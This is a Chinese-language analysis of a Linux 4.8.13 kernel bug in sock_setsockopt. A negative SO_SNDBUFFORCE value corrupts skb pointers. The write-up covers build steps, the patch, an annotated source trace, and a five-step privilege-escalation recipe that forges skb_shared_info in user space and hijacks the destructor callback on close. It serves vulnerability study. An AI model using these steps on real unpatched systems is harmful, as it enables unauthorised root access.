影響版本:Linux v4.8.14 以前。v4.8.14已修補(bǔ),v4.8.13未修補(bǔ)。 7.8分。
測(cè)試版本:Linux-4.8.13 exploit及測(cè)試環(huán)境下載地址—https://github.com/bsauce/kernel-exploit-factory
編譯選項(xiàng): CONFIG_SLAB=y
General setup
---> Choose SLAB allocator (SLUB (Unqueued Allocator))
---> SLAB
在編譯時(shí)將.config
中的CONFIG_E1000
和CONFIG_E1000E
,變更為=y。參考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.8.13.tar.xz
$ tar -xvf linux-4.8.13.tar.xz
# KASAN: 設(shè)置 make menuconfig 設(shè)置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 編譯出的bzImage目錄:/arch/x86/boot/bzImage。
漏洞描述:net/core/sock.c
中的 sock_setsockopt() 函數(shù)錯(cuò)誤處理負(fù)值,導(dǎo)致 sk_sndbuf
和 sk_rcvbuf
取值為負(fù)。調(diào)用write
時(shí)將skb->head
和skb->end
設(shè)置錯(cuò)誤,最后調(diào)用close
釋放時(shí)會(huì)訪問(wèn)用戶空間報(bào)錯(cuò)。
注意,前提是有CAP_NET_ADMIN
權(quán)限,才能在構(gòu)造setsockopt
系統(tǒng)調(diào)用時(shí)加上 SO_SNDBUFFORCE
。配置環(huán)境時(shí)需在文件系統(tǒng)中包含setcap
程序,這樣才能給exp設(shè)置權(quán)限。
補(bǔ)丁:patch
diff --git a/net/core/sock.c b/net/core/sock.c
index 5e3ca414357e2..00a074dbfe9bf 100644
--- a/net/core/sock.c
+++ b/net/core/sock.c
@@ -715,7 +715,7 @@ int sock_setsockopt(struct socket *sock, int level, int optname,
val = min_t(u32, val, sysctl_wmem_max);
set_sndbuf:
sk->sk_userlocks |= SOCK_SNDBUF_LOCK;
- sk->sk_sndbuf = max_t(u32, val * 2, SOCK_MIN_SNDBUF);
+ sk->sk_sndbuf = max_t(int, val * 2, SOCK_MIN_SNDBUF);
/* Wake up sending tasks if we upped the value. */
sk->sk_write_space(sk);
break;
@@ -751,7 +751,7 @@ set_rcvbuf:
* returning the value we actually used in getsockopt
* is the most desirable behavior.
*/
- sk->sk_rcvbuf = max_t(u32, val * 2, SOCK_MIN_RCVBUF);
+ sk->sk_rcvbuf = max_t(int, val * 2, SOCK_MIN_RCVBUF);
break;
case SO_RCVBUFFORCE:
保護(hù)機(jī)制:未開(kāi) KASLR/SMAP/SMEP。偽造的skb_shared_info結(jié)構(gòu)在用戶空間,顯然不能繞過(guò)SMAP。
利用總結(jié):
- (1)首先在地址
0xfffffed0
處偽造skb_shared_info結(jié)構(gòu),skb_shared_info)->destructor_arg->callback
指向提權(quán)函數(shù)。 - (2)調(diào)用
socketpair
新建兩個(gè)socket,用于發(fā)送和接收數(shù)據(jù)。 - (3)調(diào)用
setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,&sndbuf, sizeof(sndbuf))
將sk->sk_sndbuf
設(shè)置為 0xFFFFFE00。 - (4)調(diào)用
write(sockets[1], "\x5c", 1)
,將skb->end
設(shè)置為0xfffffec0,skb->head
設(shè)置為0x10。 - (5)調(diào)用
close(sockets[0])
觸發(fā)調(diào)用callback函數(shù),劫持控制流。
1. 漏洞分析
漏洞: sock_setsockopt() 中錯(cuò)誤處理負(fù)值,導(dǎo)致 sk->sk_sndbuf
和 sk->sk_rcvbuf
取值過(guò)大。
int sock_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
int val;
int valbool;
struct linger ling;
int ret = 0;
if (optname == SO_BINDTODEVICE)
return sock_setbindtodevice(sk, optval, optlen);
if (optlen < sizeof(int))
return -EINVAL;
if (get_user(val, (int __user *)optval))
return -EFAULT;
valbool = val ? 1 : 0;
lock_sock(sk);
switch (optname) {
... ...
case SO_SNDBUF:
val = min_t(u32, val, sysctl_wmem_max); // [1]
set_sndbuf:
sk->sk_userlocks |= SOCK_SNDBUF_LOCK;
sk->sk_sndbuf = max_t(u32, val * 2, SOCK_MIN_SNDBUF); // <----- max_t() 表示以u(píng)32類型比較 val*2 和 SOCK_MIN_SNDBUF 的大小,如果val是負(fù)數(shù),如-1>100,導(dǎo)致 sk->sk_sndbuf 等于一個(gè)較大的值
/* Wake up sending tasks if we upped the value. */
sk->sk_write_space(sk);
break;
case SO_SNDBUFFORCE:
if (!capable(CAP_NET_ADMIN)) {
ret = -EPERM;
break;
}
goto set_sndbuf; // [2]
case SO_RCVBUF:
val = min_t(u32, val, sysctl_rmem_max);
set_rcvbuf:
sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
sk->sk_rcvbuf = max_t(u32, val * 2, SOCK_MIN_RCVBUF); // <----- 同理
break;
... ...
#define max_t(type, x, y) ({ \
type __max1 = (x); \
type __max2 = (y); \
__max1 > __max2 ? __max1: __max2; })
// SOCK_MIN_SNDBUF 取值
#define SOCK_MIN_SNDBUF (TCP_SKB_MIN_TRUESIZE * 2)
#define TCP_SKB_MIN_TRUESIZE (2048 + SKB_DATA_ALIGN(sizeof(struct sk_buff)))
注意:如果直接通過(guò)參數(shù)SO_SNDBUF
去設(shè)置k->sk_sndbuf
,則必然經(jīng)過(guò)[1]
,導(dǎo)致val不會(huì)取傳入的0xffffff00
,無(wú)法將k->sk_sndbuf
設(shè)置為較大的數(shù);所以需通過(guò)參數(shù)SO_SNDBUFFORCE
去設(shè)置k->sk_sndbuf
,跳過(guò)[1]
。k->sk_sndbuf = 0xffffff00*2 = 0xFFFFFE00
。
2. 漏洞跟蹤
write調(diào)用鏈:Sys_write -> vfs_write() -> __vfs_write() -> sock_write_iter() -> sock_sendmsg() -> unix_stream_sendmsg() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()
-
unix_stream_sendmsg():將
sk_sndbuf
與其他值進(jìn)行比較后,將size - data_len = 0xFFFFFEC0
作為參數(shù)傳遞給sock_alloc_send_pskb() —— 參數(shù)是header_len=0xFFFFFEC0
,最終傳遞給 __alloc_skb(),參數(shù)是size=0xFFFFFEC0
。 -
__alloc_skb():申請(qǐng)
sk_buff
結(jié)構(gòu),并對(duì)head
,end
,tail
等成員賦值。注意,對(duì)size
進(jìn)行對(duì)齊,并加上skb->tail
賦值給skb->end
。
static int unix_stream_sendmsg(struct socket *sock, struct msghdr *msg,
size_t len)
{
struct sock *sk = sock->sk;
struct sock *other = NULL;
int err, size;
struct sk_buff *skb;
int sent = 0;
struct scm_cookie scm;
bool fds_sent = false;
int max_level;
int data_len;
wait_for_unix_gc();
err = scm_send(sock, msg, &scm, false);
if (err < 0)
return err;
... ...
while (sent < len) {
size = len - sent;
/* Keep two messages in the pipe so it schedules better */
size = min_t(int, size, (sk->sk_sndbuf >> 1) - 64); // 0xFFFFFE00 >> 1 -0x40 = 0xFFFFFEC0 sk->sk_sndbuf 是int類型,所以右移一位符號(hào)位不變, size = 0xFFFFFEC0
/* allow fallback to order-0 allocations */
size = min_t(int, size, SKB_MAX_HEAD(0) + UNIX_SKB_FRAGS_SZ); // size = 0xFFFFFEC0
data_len = max_t(int, 0, size - SKB_MAX_HEAD(0)); // data_len = max(0, 0xfffffec0-0xec0) = 0
data_len = min_t(size_t, size, PAGE_ALIGN(data_len)); // data_len = min_t(0xfffffffffffffec0, 0) = 0
skb = sock_alloc_send_pskb(sk, size - data_len, data_len, // size - data_len = 0xFFFFFEC0
msg->msg_flags & MSG_DONTWAIT, &err,
get_order(UNIX_SKB_FRAGS_SZ));
... ...
}
}
struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask, // size = 0xFFFFFEC0
int flags, int node)
{
struct kmem_cache *cache;
struct skb_shared_info *shinfo;
struct sk_buff *skb;
u8 *data;
bool pfmemalloc;
skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);
size = SKB_DATA_ALIGN(size); // [1] size = SKB_DATA_ALIGN(0xfffffec0) = 0xfffffec0
size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info)); // size += 0x140 = 0
data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc); // data = 0x10
if (!data)
goto nodata;
// ksize(0x10) = 0
size = SKB_WITH_OVERHEAD(ksize(data)); // size = 0 - sizeof(struct skb_shared_info) = 0xfffffec0
prefetchw(data + size);
memset(skb, 0, offsetof(struct sk_buff, tail));
/* Account for allocated memory : skb + skb->head */
skb->truesize = SKB_TRUESIZE(size);
skb->pfmemalloc = pfmemalloc;
atomic_set(&skb->users, 1);
skb->head = data; // [2] skb->head = 0x10
skb->data = data;
skb_reset_tail_pointer(skb);
skb->end = skb->tail + size; // [3] skb->end = 0xfffffec0
skb->mac_header = (typeof(skb->mac_header))~0U;
skb->transport_header = (typeof(skb->transport_header))~0U;
/* make sure we initialize shinfo sequentially */
shinfo = skb_shinfo(skb);
memset(shinfo, 0, offsetof(struct skb_shared_info, dataref));
atomic_set(&shinfo->dataref, 1);
kmemcheck_annotate_variable(shinfo->destructor_arg);
if (flags & SKB_ALLOC_FCLONE) {
struct sk_buff_fclones *fclones;
fclones = container_of(skb, struct sk_buff_fclones, skb1);
kmemcheck_annotate_bitfield(&fclones->skb2, flags1);
skb->fclone = SKB_FCLONE_ORIG;
atomic_set(&fclones->fclone_ref, 1);
fclones->skb2.fclone = SKB_FCLONE_CLONE;
fclones->skb2.pfmemalloc = pfmemalloc;
}
out:
return skb;
nodata:
kmem_cache_free(cache, skb);
skb = NULL;
goto out;
}
EXPORT_SYMBOL(__alloc_skb);
3.控制流劫持
close調(diào)用鏈: skb_release_data() 最后會(huì)調(diào)用 skb_shared_info->destructor_arg
->callback
函數(shù),destructor_arg
指向ubuf_info結(jié)構(gòu),可劫持該函數(shù)即可提權(quán)。
static void skb_release_data(struct sk_buff *skb)
{
struct skb_shared_info *shinfo = skb_shinfo(skb); // shinfo = skb->head + skb->end = 0x10 + 0xfffffec0 = 0xfffffed0
int i;
if (skb->cloned &&
atomic_sub_return(skb->nohdr ? (1 << SKB_DATAREF_SHIFT) + 1 : 1,
&shinfo->dataref))
return;
for (i = 0; i < shinfo->nr_frags; i++)
__skb_frag_unref(&shinfo->frags[i]);
/*
* If skb buf is from userspace, we need to notify the caller
* the lower device DMA has done;
*/
if (shinfo->tx_flags & SKBTX_DEV_ZEROCOPY) {
struct ubuf_info *uarg;
uarg = shinfo->destructor_arg;
if (uarg->callback)
uarg->callback(uarg, true);
}
if (shinfo->frag_list)
kfree_skb_list(shinfo->frag_list);
skb_free_head(skb);
}
// shinfo偏移的計(jì)算方法
#define skb_shinfo(SKB) ((struct skb_shared_info *)(skb_end_pointer(SKB)))
#ifdef NET_SKBUFF_DATA_USES_OFFSET
static inline unsigned char *skb_end_pointer(const struct sk_buff *skb)
{
return skb->head + skb->end;
}
// skb_shared_info 結(jié)構(gòu)
struct skb_shared_info {
unsigned char nr_frags;
__u8 tx_flags;
unsigned short gso_size;
/* Warning: this field is not always filled in (UFO)! */
unsigned short gso_segs;
unsigned short gso_type;
struct sk_buff *frag_list;
struct skb_shared_hwtstamps hwtstamps;
u32 tskey;
__be32 ip6_frag_id;
/*
* Warning : all fields before dataref are cleared in __alloc_skb()
*/
atomic_t dataref;
/* Intermediate layers must ensure that destructor_arg
* remains valid until skb destructor */
void * destructor_arg; // 指向 ubuf_info 結(jié)構(gòu)
/* must be last field, see pskb_expand_head() */
skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info {
void (*callback)(struct ubuf_info *, bool zerocopy_success);
void *ctx;
unsigned long desc;
};
// destructor_arg偏移
gef? p/x &(*(struct skb_shared_info *)0)->destructor_arg
$6 = 0x28